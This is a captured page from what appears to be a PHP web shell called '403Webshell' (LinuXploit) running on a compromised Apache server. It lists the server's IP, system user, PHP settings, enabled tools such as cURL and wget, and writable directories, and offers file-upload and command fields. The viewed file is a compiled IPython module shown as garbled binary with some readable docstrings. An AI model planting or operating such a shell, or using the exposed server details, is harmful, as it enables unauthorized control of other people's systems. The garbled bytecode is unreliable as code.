403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.113
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/strdispatch.cpython-311.pyc
�

�@�c.��:�dZddlZddlmZGd�de��ZdS)z>String dispatch class to match regexps and dispatch commands.
�N)�CommandChainDispatcherc�@�eZdZdZd�Zdd�Zdd�Zd�Zd�Zd�Z	d	�Z
d
S)�StrDispatchaDispatch (lookup) a set of strings / regexps for match.

    Example:

    >>> dis = StrDispatch()
    >>> dis.add_s('hei',34, priority = 4)
    >>> dis.add_s('hei',123, priority = 2)
    >>> dis.add_re('h.i', 686)
    >>> print(list(dis.flat_matches('hei')))
    [123, 34, 686]
    c�"�i|_i|_dS)N��strs�regexs��selfs �;/usr/lib/python3/dist-packages/IPython/utils/strdispatch.py�__init__zStrDispatch.__init__s����	������rc��|j�|t����}|�||��||j|<dS)z( Adds a target 'string' for dispatching N)r�getr�add)r�s�obj�priority�chains     r�add_szStrDispatch.add_ssC���	�
�
�a�!7�!9�!9�:�:��
�	�	�#�h������	�!���rc��|j�|t����}|�||��||j|<dS)z& Adds a target regexp for dispatching N)r	rrr)r�regexrrrs     r�add_rezStrDispatch.add_re#sF�������'=�'?�'?�@�@��
�	�	�#�h����"���E���rc#�K�||jvr|j|V�|j���D]\}}tj||��r|V��� dS)z2 Get a seq of Commandchain objects that match key N)rr	�items�re�match)r�key�rrs    r�dispatchzStrDispatch.dispatch*st�����$�)����)�C�.� � � ��k�'�'�)�)�	�	�F�A�s��x��3���
��	�	�	�	��	�	rc�(�d|j�d|j�d�S)Nz
<Strdispatch z, �>rr
s r�__repr__zStrDispatch.__repr__6s���)-����D�K�K�K�@�@rc#�TK�||jvrdS|j|D]}|dV��
dS)N�)r)rr�els   r�	s_matcheszStrDispatch.s_matches9sF�����d�i���
�V��)�C�.�	�	�B��Q�%�K�K�K�K�	�	rc#�XK�|�|��D]}|D]}|dV��
�dS)z- Yield all 'value' targets, without priority r%N)r )rr�valr&s    r�flat_matcheszStrDispatch.flat_matches?sI�����=�=��%�%�	�	�C��
�
����e�����
��rN)r)�__name__�
__module__�__qualname__�__doc__r
rrr r#r'r*�rrrrs�������
�
��������#�#�#�#�
�
�
�A�A�A��������rr)r.r�IPython.core.hooksr�objectrr/rr�<module>r2sb����
�	�	�	�6�5�5�5�5�5�9�9�9�9�9�&�9�9�9�9�9r

Youez - 2016 - github.com/yon3zu
LinuXploit